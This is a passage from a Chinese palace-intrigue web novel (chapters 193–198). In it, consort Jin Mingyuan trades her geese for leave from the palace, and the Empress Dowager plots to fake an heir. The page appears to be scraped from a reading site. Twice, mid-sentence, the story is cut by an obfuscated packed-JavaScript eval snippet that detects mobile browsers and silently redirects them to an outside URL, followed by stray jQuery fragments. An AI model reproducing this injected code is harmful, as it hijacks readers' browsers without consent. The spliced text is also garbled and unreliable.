如今她已经搬出了冷宫,留那些东西在那里鸡飞狗跳的,到底也不是样子! 而且哀家看她就是存心与哀家过不去,那些鹅全对付到哀家头上了!” 晋明鸢早就到了,一直都守在门外,听到太后的话后,她才带着姜妃闯了进来:“太后娘娘,您这话说的可就不对了。 且不说那些鹅臣妾养了那么久,早就已经养出感情了,就今天这事儿,怎么也怪不到臣妾头上不是? 宴平王他自己求到臣妾这里,臣妾怜他一片孝心,才让他去冷宫抓鹅的,这也能算臣妾的错啊? 总之这些鹅都是臣妾的心血,太后如果真的想要处理掉,怎么也得给臣妾补偿。” 太后本来以为晋明鸢要在这鹅的事上和她拧到底了,都准备好要发火了,但又听到她最后一句话,脸色非但没有变好,反而更僵硬了。 她道:“晋氏,你这是要讹哀家吗?” “太后娘娘何必把话说的那么难听呢?是您要毁了臣妾的东西,给些补偿本就是天经地义不是吗? 总不能您什么都不付出,就要拿走臣妾的心血吧,如果是这样的话,臣妾可不同意。”晋明鸢说。 “你想要什么?”太后已经受够了,晋明鸢养的那些牲畜,这已经害了她几次了,她可不想还有下一次。 晋明鸢说:“臣妾还没想好呢,要不容臣妾再想几天吧?” “晋氏,你是在耍哀家吗?皇帝,你就任由她戏耍你母后?” 第193章 阿鸢,你是不是忘了什么 场面一度僵持不定。 贺江灈说:“母后,那毕竟是阿鸢养了许久的宠物,您不喜欢要除掉,总要给人留个告别的时间?您说呢?” 宠物?告别? 太后脸色铁青,连呼吸都有些紊乱。 她恨恨的盯着贺江灈,也看出来贺江灈明摆着要偏袒晋明鸢,这种时候就算她不松口,自己也讨不了好。 太后只能犹犹豫豫的道:“那总得有个时间吧?这些畜生总不能一直养在宫里,皇帝,这件事你必须得给哀家一个期限! 你且看看哀家的腰,已经被她们祸害成什么样了?这你要是放任着不管,传出去了,朝中大臣也会有意见的。 你难道还想为了她,再受一轮御史言官的口诛笔伐吗?” 晋明鸢说:“不用这么麻烦了,我想好了,这些鹅本来就是我用来消遣寂寞的,太后娘娘如果非要动我的鹅,那就允我出宫走动走动好了。” 反正赵离回京之后,也不好直接把人带到宫里来,晋明鸢必须得先想办法见她一面,正好借着这件事,换一个光明正大出宫的机会。 “你想出宫?”贺江灈问。 晋明鸢道:“这宫里本来就那么无聊,我养两只鹅做消遣,太后娘娘还不许,陛下总不能动了我的东西,什么都不补偿我吧?” 晋明鸢没有正面回答问题,只是理直气壮的和贺江灈讲道理。 “那怎么行?晋氏你还有没有点规矩?身为宫妃,你怎么能…” “不能出去抛头露面是吧,那太后娘娘也别动我的鹅。”晋明鸢说。 她就像在耍小孩子脾气一样,故意和太后讨价还价,太后脸色又是一片青紫,她转而对着贺江灈道:“皇帝,你看看她,她如今…” “母后,阿鸢说的也没错,你要除掉她的宠物,总得给人一些补偿,她只是想出宫走走而已,也没什么大事,母后不妨睁一只眼闭一只眼罢了。”贺江灈说。 太后还是犹犹豫豫的。 但想到这段时间自己频频被鹅支配的恐惧,她终于还是妥协了,小声嘀咕道:“反正她自己出去也翻不出什么风浪,哀家同意就是。” “谁说我要自己出去了,好不容易出宫一趟,我当然得带着姜妹妹,带着我的宝贝儿子。”晋明鸢说。 “你说什么?你还要带人?”太后又有点按捺不住了。 晋明鸢道:“有什么问题吗?我自己出去多无聊?带着姜妹妹难道不应该吗?还有我宝贝儿子,我都没带他出去逛个街呢,有这样的机会我怎么能把他放下?这不是理所当然吗?太后难道想不同意?” 带着姜妃,当然是因为要去见赵离,带着贺云瑄,纯粹就是她想带她宝贝儿子出去玩儿。 太后又对着贺江灈使了个眼色,本来让晋明鸢自己出宫,就已经很不合规矩了,现在她还拖家带口的,这让后宫其他嫔妃怎么想? “你确定只带他们,没忘了什么?”贺江灈问。 她想带着贺云瑄也就罢了,那是她的儿子,可带姜妃又是怎么回事? “哦,是忘了点,那些鹅是我花了银子买来的,太后娘娘如果非要处置,得把银子补给我。”晋明鸢又说。 贺江灈听到她这半点不吃亏的算计,已经是震惊的瞠目结舌。 如果他没记错的话,晋明鸢之前已经把这些鹅给那些嫔妃们卖过一遍了,现在又想来攥太后的银两,她可真是会算呀。 不对,她还没有说… 贺江灈问:“阿鸢,你确定没有别的事要说吗?” 比如带姜妃也不带他。 贺江灈频频发问,晋明鸢当然知道他什么意思,她装作不懂,轻笑道:“还能有什么事?如果太后不想给我银子,陛下替她给也是一样的。” 说话间,她冲着太后伸出去的那只手,渐渐的转到了贺江灈这边。 她那一本正经的表情,看得贺江灈无言以对。 贺江灈道:“银子晚点朕会让张康全给你送去。” 阿鸢如今还没有恢复记忆,也不记得他们之前的那些事,把他忘了也没什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15820063|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他没必要和他较真。 贺江灈在心底安慰着自己,他又想把话说的再明显一点的时候,晋明鸢已经收回了手:“那行,这件事就这么定了,鹅就交给你们了,我还有事先走了。” 到了嘴边的话,完全在喉咙里僵住了。 贺江灈目送着晋明鸢离开。 太后还在一边,捂着胸口哎呦哎呦的叫个不停,她道:“皇帝,你看看呀,你看看你自己选的人,她哪里有一点儿闺秀的样子,那就是个疯子,你是想让她把哀家气死吗?” 贺江灈拉了个凳子,在太后的床前坐了下来,他道:“母后,您别对阿鸢太苛刻了,她已经很好说话了不是吗?你又何必总揪着她不放? 比起这个来,咱们娘俩也是好一阵子没说过话了,朕倒是有些话想与母后聊聊。” “你要与哀家聊什么?”贺江灈的表情太正经了,让太后心底有些不安。 贺江灈笑道:“就随便聊两句,母后莫要紧张,这儿没有皇弟的事,皇弟便去处理一下外面的鹅吧。” 听他连贺竟流都要支走,太后心里又是咯噔一声。 她努力维持着镇定,带着些许的笑脸对着贺江灈。 … 邀云宫里,姜妃一回来,就对着晋明鸢道:“晋姐姐,你如今还真是越来越厉害了,本来我还担心咱们怎么出宫呢,没想到你就找到光明正大的理由了,还又敲了一笔银子呢。” “说什么敲,那么难听,这是咱们应得的。”晋明鸢道,她又打听,“那个清昭仪,这段时间在做什么?” 姜妃道:“还是老样子了,在梅园罚了跪之后,身子一直不好,正忙着养病呢,真病假病咱们也不知道,陛下那里也是时不时的去看。” 晋明鸢点头:“先放任她这两天吧,等找到了赵离,她这病就算是假的,也得给我变成真的,对了,你再去打听打听上次那个杂耍班子的事。” 如果赵离真的是失忆,免不了想办法恢复记忆,正好那个清昭仪找的杂耍班子就很有用。 第194章 太后的阴谋 贺竟流也是个不安分的。 贺江灈把那些鹅交给他处理,他直接在冷宫架了架子就开始烤鹅。 晚上的时候还特地叫了晋明鸢她们过去吃鹅。 皎皎月光下,鹅被烤的滋滋冒油,香飘十里,让人看到就是一阵食指大动。 晋明鸢和姜妃带着贺云瑄赶来的时候,贺竟流还在那里给鹅洒调料。 看到人来,他就宛若一个东道主似的招呼起来:“皇嫂,来了啊,来来来别客气,随便坐呀,小云瑄是吧?来皇叔这里,尝尝皇叔的手艺。” 和他一起烤鹅的,还有几个小太监,这群人看起来都不太擅长,各个手忙脚乱的。 贺云瑄被贺竟流强行招呼到了跟前,贺竟流仰着头,不停的卖弄着他的手艺,贺云瑄在一边听得直皱眉。 贺竟流很快就发现了他的异样:“你小子这是什么表情,看不起皇叔吗?皇叔跟你讲,我这些年在外面走南闯北,那可是在各个领域都有涉猎,我会的东西,三天三夜都说不完,等有空了,好好教你。” “皇叔,你的肉糊了。”贺云瑄指着贺竟流架子上的东西,面无表情的挑破。 贺竟流顺势低头,果然看到他面前的那只鹅已经黑了大片,他讪笑道:“这能怪我吗?还不是跟你说话太入神了? 哎呀,这都是些小事,不用在意这些细节,我跟你讲,我这些年在外面…” “贺竟流,你够了,你少和云瑄说你那些斗鸡遛狗的勾当,我们云瑄可跟你不一样,你别把人教坏了。”姜妃伸手,就把贺云瑄拉到了自己身边。 云瑄多聪明的一个孩子,她和晋姐姐以后还指着云瑄呢,可不能让贺竟流这团烂泥,把人糟蹋了。 贺竟流满脸的不满:“姜青雉,在孩子面前你能不能给我留点面子?斗鸡遛狗怎么了?那也算我的本事。 你想斗你会吗?” 姜妃懒得跟他争论这个,只是冲着他面前的那架子努了努嘴:“你这玩意儿到底还能吃吗?瞧瞧都焦成什么样子了?” “你懂什么?这是我独创的风格,焦香酥脆,来,赶紧尝尝。”贺竟流顺手撕下一个鹅腿,烫的他龇牙咧嘴的,就要往姜妃手里塞。 姜妃看着那一坨炭黑色的东西,退了又退,最后冷声道:“你最好离我远点,不然我把这鬼东西塞你嘴里。” 两个人之前就很熟络,现下更是直接闹作一团,贺云瑄站在晋明鸢的身边,一双黑漆漆的眼睛始终探究的朝着贺竟流那里看。 他实在太专注了,晋明鸢忍不住询问:“云瑄,你在看什么?” 贺云瑄没有隐瞒,他小声嘀咕道:“那个真的是太后的儿子吗?” 身上半点没有太后老奸巨猾的影子,到底是装的,还是当真如此天真? 原来是在好奇这个,晋明鸢摸了摸贺云瑄的脑袋:“不像是吧,但如假包换,这家伙确实是太后亲生的。” 恐怕最为这事发愁的就是太后了,她做梦都想贺竟流和她一条心。 可贺竟流这家伙,一门心思全在吃喝玩乐上,太后费了这么多年的劲,也没能把他掰过来。 贺云瑄又盯着贺竟流好一会儿,看他不是和姜妃打闹,就是和周围的小太监互相调侃,没有一点架子,也没有一点脾气,越看越不像太后跟前的人。 似乎是察觉到了贺云瑄的目光,贺竟流又走过来,一把把贺云瑄拉进了怀里,他道:“皇叔刚刚就看到了,你小子偷看我好几眼了,想跟我玩就直说嘛,做什么遮遮掩掩的。 皇叔跟你讲,皇叔这些年…” 贺竟流絮絮叨叨的说个没完,贺云瑄只能把求助的目光放在了晋明鸢这里,晋明鸢道:“云瑄,你小小年纪,也别总胡思乱想了,跟你皇叔玩玩也不是坏事。” 贺云瑄没法子,只能任由着贺竟流把他拉到了篝火边,听着他讲他的那些风光往事。 越是听下去,贺云瑄的眉头就皱得越深,他总也想不到太后那样老谋深算,怎么有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833776|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么一个没心眼的儿子? 冷宫里其乐融融的时候,福寿宫里,气氛却是一片阴沉。 门窗紧闭,下人都被遣散了出去,王嬷嬷小心翼翼的引了个人影进来,正式定明侯。 “太后娘娘,怎么这么突然叫我过来?你又不是不知道这宫里多少禁军巡逻。”定明侯有点不满的道。 太后满脸的紧张:“如果不是出了大事,我会这么着急找你吗?那个贺江灈,他肯定是发现什么了,他今天忽然问我了解明丰国吗? 我看这件事不能拖下去了,咱们的计划得提前了。” “提前?”定明侯道,“怎么提前?太后娘娘是不是想多了?他或许就是随口一提呢,您还是别自己乱了阵脚。” “怎么会呢?你今天没有见到,他和哀家说话的时候是怎么阴阳怪气,而且他最近对哀家的态度也是越来越不敬了,这件事绝对不能再拖了。”太后说。 定明侯满脸的为难:“可一切还没准备妥当呢,太后娘娘打算如何做呢?” “那不是还有禾儿吗?哀家打算从禾儿这里下手,只要禾儿有了孩子,就是他贺江灈唯一的孩子,到时候如果他出点什么意外,这江山对我们来说还不是手到擒来。”太后眼睛里闪过了几分疯狂,看的定明侯是一阵心惊。 定明侯试图提醒道:“太后娘娘,皇帝本来就不太爱招嫔妃侍寝,就算您想让安妃娘娘怀上身孕,也不太容易吧?” 太后眼睛里闪过了几分阴毒:“谁说这孩子就必须是他的?安秋禾不就是惦记你那个儿子吗?你想办法把人调回来,她肯定很乐意做的。” 定明侯听懂太后的言外之意,心底都跟着咯噔一声,太后这分明是想行秽乱宫闱之事。 而且她竟然狠心到连自家侄女的尊严和清白全都不顾。 定明侯久久没说话,太后又道:“你在犹豫什么?别忘了咱们早就绑在一起了,若是事情败露了,你以为你逃得了吗?此事必须先发制人。” 第195章 母后,你屋里有人? 定明侯一直都犹犹豫豫的,像是对太后的决定,很是惶恐。 太后却是一副癫狂的模样,应是留着定明侯商议了很久。 直到外面传来了贺竟流的声音,太后这才让定明侯从窗户里赶紧离去。 贺竟流提着两根鹅腿进来的时候,先看到的就是大开的窗户,他脸上顿时闪过了几分疑惑:“母后,天这么冷,您怎么也不关窗?” “啊,哦,地龙烧的旺,哀家方才有点热,便开窗透气,这么晚了,你怎么过来了?”太后说。 贺竟流举了举手里的鹅腿:“皇兄不是让儿臣去处理皇嫂的鹅吗?儿臣带人在冷宫里都烤了,特地给母后带了烤的最好的两条鹅腿,母后尝尝?” 太后现在听到鹅,就想到晋明鸢,胸口的气就是一阵不顺,她摇了摇头:“哀家不要,你拿回去吧。” 刚才的话题因为贺竟流忽然回来戛然而止,太后这会儿心里还有点惊魂未定,只想赶紧把人打发了去。 贺竟流道:“那行吧,既然母后不想要,儿臣就一并拿去给皇兄了。” “等等!”太后眼睛忽然一亮,她叫住了贺竟流,“这么晚了,你还去打扰你皇兄做什么?依哀家看,这些你让人拿去给禾儿,让禾儿替你去送。” “母后您这样就不合适了吧,这东西再怎么说也是皇嫂得,皇兄也是皇嫂的,您让安妃插在中间算怎么回事?”贺竟流说。 太后脸色一变:“你胡说什么呢?皇帝什么时候就成了晋氏一个人的? 禾儿也是他的嫔妃,禾儿去见他,怎么就不合适了? 还有你别忘了,禾儿是哀家的侄女,比起晋氏,你该与禾儿更亲密才对。” 太后不由分说的,就把贺静流一阵训斥。 贺竟流表情明显有点不服。 太后又说:“王嬷嬷,你替哀家走一趟,把这些东西拿给禾儿,让禾儿亲自去送去紫宸殿。” 王嬷嬷伸手,就拿走了贺竟流手里的东西,贺竟流很是不快:“母后您这样,让儿臣明天怎么与皇嫂交代?” “你跟他有什么好交代的,流儿,哀家警告你,你现在已经不是儿时了,离那个晋氏远一点。 五年前她就能与别人苟且生下儿子,一看就不是什么贞洁干净的女子,也就皇帝不知道中了什么邪,依旧对人守着护着,你段不能再靠近这种女人。”太后道。 那个晋明鸢本来就很邪门。 就算五年前她是干净的,太后也不能允许贺竟流靠近她。 贺竟流脸色无比难看,他说:“皇嫂没有你说的那么糟糕,母后也知道儿子如今长大了,那儿子想结交谁,是儿子的事,还请母后莫要插手。 说话间贺竟流直接抬脚,走到了窗边,他想要把窗户关上,目光一移,正好看见窗台处好像有一个脚印,不太清晰,但又确实存在。 贺竟流不动声色的比划了一下。 那脚印很大,分明是一个成年男子的脚印。 太后见他站在原地不动,不禁有些忧心,赶紧询问道:“流儿,你这是怎么了?” 贺竟流问:“母后,您屋里刚才是有人吗?” 太后心底咯噔一下,赶紧道:“你这又在说什么奇怪的话?哀家屋里自然有人,王嬷嬷她们不都在吗?” 贺竟流道:“母后知道儿臣说的不是她们。” “哀家听不懂你在说什么,行了,时间不早了,哀家要歇了,你走吧。”太后冷着脸,直接就下了逐客令。 她之前不敢让贺竟流回京,一方面是怕皇帝拿贺竟流威胁她,另一方面就是怕现在的情况,这个儿子与她不是一条心的。 在大事未成之前,很多事她都不愿意与贺竟流细说,免得贺竟流坏她好事。 贺竟流没多说什么,但从福寿宫退出去的时候,脸上一直都带着疑虑之色。 昨夜在冷宫闹到很晚。 早上晋明鸢起来的时候,已经是日上三竿了。 她才睁开眼睛,就看到姜妃沉着一张脸坐在她旁边,一副气呼呼的模样。 “这又是怎么了,谁惹我们青雉生气了?”晋明鸢笑着伸手,戳了戳她的胳膊。 姜妃道:“晋姐姐,你还笑呢! 你知不知道,昨天安妃拿着你的鹅,借花献佛,去了紫宸殿,陛下竟然还让她留在紫宸殿了,今天早朝的时候,人才出来呢。” 一提到这个姜妃就觉得气不打一处来。 之前可是那个贺江灈死皮赖脸的要求娶晋姐姐的,就算现在晋姐姐不想要他了,他也不能背叛晋姐姐才对。 毕竟从一开始就是他眼盲心瞎。 “去了就去了呗,能有什么大事?你这么生气,总不能把人揪过来打一顿吧?”晋明鸢笑道。 “怎么不能,我这就去找那个安妃。”姜妃道。 明明之前那女人在她们面前装模作样的,说什么有心上人,不对陛下感兴趣,到头来还不是巴巴的往紫宸殿里跑。 “站住!”晋明鸢开口,直接叫住了她,“怪她有什么用,她也是身不由己罢了,青雉,安妃她也是受太后驱使,你没必要对她有这么大的恶意。” 姜妃还是不高兴:“晋姐姐,你总是这样,总对别人没恶意,你还记不记得那个赵清吟? 这世界上哪有那么多好人,你能不能想想自己?你…” 姜妃一直絮絮叨叨,晋明鸢只是笑着看她,也不打断。 过了有一会儿,姜妃自己好像也说够了,但看向晋明鸢的时候,还有点恨铁不成钢的。 晋明鸢轻轻拍了拍她的肩膀:“阿稚,没必要因为这种小事生气,人家都是这宫里的嫔妃,你总不能不许人家争宠。 这些事本就不是咱们该操心的,消消气,过两天姐姐带你去散心。” 两人说话间,贺云瑄敲了敲门,站在门口提醒道:“娘亲,姜姨姨,时候不早了,该用早膳了。” 姜妃这才稍稍缓和了一下情绪:“那晋姐姐你先收拾一下,我去外面等你。” 她只走出去两步,很快又回来了,晋明鸢问:“怎么了?” 姜妃脸色更不好了:“陛下来了。” 第196章 她什么时候变了 一个不算大的桌子,四周坐满了人。 好像除了晋明鸢以外,每个人的表情都有些古怪。 贺云瑄瞪着一双圆溜溜的眼睛,时不时的抬眸往贺江灈身上打量一眼。 姜妃则是瘪着嘴,用力的戳着碗里的饭,就像是在戳什么人的脸。 至于贺江灈,只是看着晋明鸢,也没主动说话。 还是晋明鸢先道:“你来做什么?” 贺江灈说:“阿鸢,你上次说出宫,打算哪天出去?朕可以…” 听他的话说到这里,晋明鸢一下子就知道了他后续要说什么,赶紧出声打断:“打住陛下,我就是想带云瑄出去散心,你若是跟着,大家还要考虑你的感受,怎么能算是散心? 你如果是来聊这件事的,那就没得谈,赶紧把出宫令牌给我,我什么时候想去了,自然就去了。” 晋明鸢态度的抗拒,就像是一根刺,让贺江灈未尽的话再也说不出来。 贺江灈道:“阿鸢,你如今失忆对京中也不熟悉,不如…” “不劳您担心了,有青雉陪着我就够了,陛下之前既然答应了我,总不能出尔反尔吧,这出宫令牌是不是也该给我了?”晋明鸢完全不给他把话说完的机会,又一次打岔。 这下姜妃也不再戳碗里的饭了,她长舒一口气,没好气的应和道:“对呀,陛下,我们好不容易要去散心呢,您跟着多不痛快。 而且旁的不说,您宫里有那么多的嫔妃,你若真是无趣了,不知道做什么了,随便找个人彻夜长谈,就是总能消磨时间的,何必缠着晋姐姐呢?” 一番话说完,心里堵着的那股郁气,总算是散了大半,姜妃捂着胸口,心底只觉得一阵畅快。 而贺江灈已经冷眼冲着她望了过来:“姜妃,这里没你说话的份,你出去。” 晋明鸢皱眉:“你吼她做什么?她饭都没吃完呢,你让她去哪里? 我这里可不是陛下发脾气的地方,陛下如果实在待不习惯,不如去找你温柔小意的清昭仪。” 赵离的是没有确定之前,一切都可能出现变数。 尤其是那个赵清吟,就像是阴沟里的老鼠一样,总爱窥探着她。 她这次出宫,自然是能低调就低调。 晋明鸢袒护姜妃的模样,看得贺江灈眸色沉沉,贺江灈有点怀疑,他依稀记得,之前晋明鸢对他,好像脾气没有像现在那么大,也没有这有恃无恐的袒护姜妃。 她是什么时候变了呢? 只是巧合,还是别的什么? 晋明鸢不管贺江灈再想什么,她又好似随口一提般:“我现在也没什么大碍,陛下也别总让人盯着之前那个杂耍班子了,他们也只是被你的好表妹骗了,你没必要让他们一直心惊胆颤的。” 上次她就让姜妃打听过了。 听说贺江灈的人还一直盯着那支杂耍班子。 她接下来还得用他们呢,自然得先让贺江灈把人撤走。 晋明鸢每次提“表妹”二字,都好像能让贺江灈的心底莫名的升起一股恶寒。 贺江灈说:“这件事再等等,关乎你的身体,朕不能马虎。” 晋明鸢冷哼一声:“我自己的身体有事无事,我难道分不清楚吗? 倒是陛下总以我的名义,让人盯着那些无辜的人不放,传出去了必然会让人觉得我不可理喻,侍宠生娇,这样的罪名我可担待不起。 还是说你想为了你的小表妹洗清污点,故意把这种帽子往我头上扣?” 晋明鸢说话一点儿也不留情,就像是在往贺江灈心上捅刀子,贺江灈的神色寸寸龟裂,他叹了口气:“阿鸢,你为何如此揣度与我?我只是怕你出事。” 晋明鸢说:“可我已经好了,不是吗?陛下就该把人放了,而不是以我的名义拘着他们。” 她态度一点儿也不退,就这样和贺江灈对视着。 贺江灈说:“好,朕听你的就是,但阿鸢,我觉得我们应该好好谈谈,比如关于赵清吟,比如咱们之间。” 他能感觉到,晋明鸢对他的抗拒和梳理。 这段时间以来,他尽力不出现在晋明鸢身边,给她足够的空间。 可是现在看来,这并非是什么好法子。 不管他们之前有什么误会,总得把话说开。 “当然要谈。”晋明鸢说,“不过不是现在,麻烦陛下把令牌留下吧,等时机成熟了,我会找你谈。” 等她弄清楚当年的事,赵清吟也好,贺江灈也好,这些账她都要算。 听出她话里有下逐客令的意思,贺江灈又想说什么,就在这时候,张公公忽然伏在他耳边说了一句什么,贺江灈便也没多留,把令牌丢下就走了。 了却了心里的一桩大事。 晋明鸢看着那令牌,越看越喜欢。 姜妃也高兴。 她端起了那碗,早就被她戳得面目全非的饭,吃的是津津有味,边吃边含糊不清的道:“晋姐姐,还好你现在足够清醒,我今天这口气才终于顺了,不然今天肯定得被气的少吃一顿饭。” “那可不行,不管怎么也不能亏待了自己,咱们接下来还有大事要办呢,你可得把自己照顾好了。”晋明鸢佯装生气,故意板起了脸来,对着姜妃道。 姜妃点头,余光一扫,就看到贺云瑄还是那副一本正经的模样,她用手肘碰了贺云瑄一下:“你饭也不吃,在这里想什么呢?” 贺云瑄道:“我只是觉得娘亲这次变化真的好大。” “那云瑄喜不喜欢现在的娘亲?”晋明鸢有点担忧的问。 她在旁人面前可以没心没肺,可在贺云瑄面前,却做不到。 她对云瑄的亏欠太多,便总想着要在任何方面都补偿云瑄。 在晋明鸢担忧的视线里,贺云瑄点了点头,他给晋明鸢夹了菜:“娘亲现在这样很厉害,也很好。 上次离开的时候,我总担心娘亲被人欺负,现在不会了,我知道,现在的娘亲能保护自己。” 晋明鸢拍拍肩膀:“娘亲不仅能保护自己,还能保护你们,乖,以后有娘亲在,没有人能欺负你们。” 第197章 出宫 时间一晃过了一周,姜妃才得到了挽月的传话,说已经把赵离带回京城了。 至于那个杂耍班子,确定贺江灈的人都撤了之后,晋明鸢也让人请了回来。 就连出宫用的便服,晋明鸢也早早的让人准备好了。 用过了早膳之后,晋明鸢就催促着贺云瑄去换衣裳,贺云瑄揪着手里的虎头帽,表情有点为难:“娘亲,我真的要戴这个吗? 我有出宫穿的衣服的,而且这帽子…要不还是算了吧?” 其实晋明鸢给贺云瑄准备的衣服,倒也还算正常,就是不同于他平常穿的黑白青几种颜色,反而是鲜亮的红色。 虽然从来没有尝试过这样的颜色,娘亲喜欢,贺云瑄也没有太大的意见,最让他忧愁的,就是晋明鸢最后给他的那个虎头帽。 贺云瑄想,这应该是两三岁的小孩才戴的吧,他马上就六岁了,已经是大孩子了,怎么可以再戴这种帽子呢? 旁的不说,这顶帽子他是真的抗拒。 帽子正是当时贺竟流送来的。 当时晋明鸢就好奇贺云瑄戴上后的模样了。 现在听到宝贝儿子的抗拒,她伸手就把帽子接了过来,还没有等贺云瑄大松口气,她就直接把帽子扣在了贺云瑄的头顶,还不忘夸赞道:“哎呀,不愧是娘的宝贝儿子,这帽子戴在你头上,还真是好看。 什么三岁六岁的,在娘这里,云瑄永远都是孩子,是娘的宝贝,这么好看,可不能再摘了,知道吗?” 晋明鸢一口一个好看,一口一个宝贝,夸的贺云瑄的耳垂都控制不住的红了。 他的心也跟着动摇了,对于那个虎头帽,都跟着没有那么抗拒了。 看着晋明鸢的那双眼睛,过了好一会儿,贺云瑄才有点不确定的道:“真的好看吗?不会很奇怪吗?” “当然不会,你不信回去看看镜子,这帽子戴在我们云瑄头上的好看极了呢。”晋明鸢说。 贺云瑄半信半疑,摸摸头上毛茸茸的虎头帽,还是觉得心里古怪,却也没有把帽子摘下来,他道:“那我去外面等娘亲,娘亲先换衣服吧。” 姜妃从外面进来,刚好和贺云瑄擦肩而过,看到贺云瑄头上的帽子,她忍不住心底称奇,小声道:“晋姐姐,你还真让他把那个帽子戴上了呀?” “那当然,我宝贝儿子可听话了,怎么样?都准备好了吗?”晋明鸢问。 “马车已经备好了,收拾好就能出发了。”姜妃说。 晋明鸢点点头,不出一刻钟的功夫,三个人就已经坐上了出宫的马车。 “你说什么?晋姐姐和姜妃她们出宫了?”玉粹宫里,清昭仪尖声问。 她这段时间除了在玉粹宫里养伤,就是在专营还能用什么样的办法唤起贺江灈对她的怜悯。 至于晋明鸢大闹福寿宫的事,她也听到了一二,只是知道那女人最近过分疯癫,她也不太放在心上。 关于晋明鸢拿了出宫令牌的事,她之前还真没听到风声。 赋雪道:“奴婢也是听别人看到晋娘娘坐马车出了宫,说是要带着小公子出去散心。” 清昭仪道:“她说出宫就出宫,她说散心就散心,表哥对她,未免也过于宽容了吧。” 清昭仪这段时间,情绪愈发的不稳定了,尤其是上次在梅园里跪晕之后,膝盖好像因为寒气入体,出了点问题。 走路的时侯,连腿脚都有点跛,尽管不仔细看,根本看不出来,也没有人敢嘲笑她,可清昭仪总觉得,她身边的人都看不起她。 之前那副温柔的模样更是早早的在玉粹宫里就维持不下去了。 现在玉粹宫简直人人自危。 如果不是作为她的大宫女。 知道有消息知情不报后果会更严重,赋雪也只能上前触她的霉头。 “奴婢打听过了,此事也是太后应允的,或许陛下也是看在太后的面子上,才会同意的。 更何况陛下许久都不去那邀云宫一趟,近来却频频来陪娘娘,奴婢觉得,在陛下心里,明显是娘娘更为重要呀。”赋雪努力说着好听的话,想要让清昭仪消气,换来的是女人更变本加厉的怒火。 清昭仪冷笑一声:“在意我?呵呵,只是看在我哥哥的面子上罢了,他总爱说把我当妹妹,可实际上呢,他在太后那里能帮晋姐姐撑腰。 我的腿都废了,伤了,也没见他为了我去质问太后,赋雪,你觉得他真在意我吗?” 清昭仪这番话,赋雪接不了,也不敢接。 清昭仪自己也不指望她接,她目光闪烁,很快又略有疑惑的问:“那件事本该万无一失才对,可晋姐姐为什么没恢复记忆呢?这中间到底出了什么问题?” 赋雪依旧低着头沉默不语。 清昭仪又道:“你再去帮我打探打探,看看还有没有什么能万无一失恢复记忆的办法。” 赋雪如蒙大赦正要离开,清昭仪忽然又站了起来:“准备轿子,我要去见陛下。” 这段时间,陛下一直都没来看她,她又有点担忧,是不是晋明鸢又与他说什么了? 还是让那个晋明鸢恢复记忆好,只有晋明鸢不理会贺江灈了,她才不用这么担惊受怕。 清昭仪之前不爱坐轿子的,自从伤了腿之后,她就开始竭力的避免走路,宫里更是常备轿子。 清昭仪到的时候,贺江灈正在御书房看卷宗,说是在看,其实也是心不在焉。 他当然知道今天晋明鸢拿着令牌出门了,不仅没带他,走之前连来知会他一声都没有。 看到来人,他才把卷宗放到了一边:“你近来腿脚不好,怎么不在玉粹宫好好养伤?” 清昭仪说:“陛下这段时间没有去看臣妾,臣妾担忧您公务繁忙,忘了休息,特地带了些补汤过来。” 她走到了贺江灈面前,无意间看到了卷轴上露出来的一角,蜀都两个字过分明显,手腕一晃,一碗热汤直接倾洒出来,些许汤汁都溅在了贺江灈的腿上。 清昭仪吓了一跳,连忙跪下拿着帕子要帮他擦拭,贺江灈直接挡住了她的手:“你何时也这么毛毛躁躁了?” 第198章 贺江灈为什么关注蜀都 清昭仪脸上还有些许的慌乱未散,她强行冷静下来,小声道:“对不起陛下,是妾身不好,刚刚腿不知怎么忽然一痛,就…” 她红着眼睛泫然欲泣的模样,看起来楚楚可怜。 贺江灈道:“算了,你也不是故意的,起来吧。” 清昭仪这才站了起来,她看着贺江灈有点烦躁的整理衣衫,小声询问道:“陛下,怎么忽然看起蜀都的卷宗来了?” 蜀都是她的老家,贺江灈小时候也去那里待过一阵。 现在看到贺江灈,忽然对蜀都好奇,某些尘封的秘密好像被掀开了一角,让清昭仪一颗心都惴惴不安。 贺江灈本来没太在意清昭仪。 直到现在听到她有些刻意的询问,眸光锐利的冲着她扫了一眼,很快又恢复如初:“阿离去了有一阵子了,朕这段时间不知怎么总是想起他,便想着要不要找个时间,把他的牌位接到京城。” 当初赵离尸骨无存,清昭仪说,当时情况不同,她只好在蜀都老宅帮赵离立了一个衣冠冢。 贺江灈当初去蜀都接晋明鸢回来的时候,也去祭拜过。 这些年来,贺江灈从来都没有提过要把赵离接回京城的事。 虽然他的话也算有理有据,可清昭仪还是觉得心底像是有凉意在逐渐扩散。 清昭仪讪讪道:“陛下事务繁忙,如果兄长在天有灵,知道您为他如此操劳,只怕也会于心不安。 蜀都毕竟是兄长的老家,臣妾觉得,兄长在蜀都也很好。” 蜀都藏着她的秘密,上次她敢让贺江灈去蜀都,全然是因为有别的事牵扯着贺江灈。 她知道贺江灈不会静下心去探查什么的,可现在呢,她哪里还敢让贺江灈去第二次? “阿吟好像对蜀都很抗拒?”贺江灈又问。 清昭仪连忙摇头:“怎么会呢?陛下,那是臣妾的老家,臣妾怎么会抗拒呢? 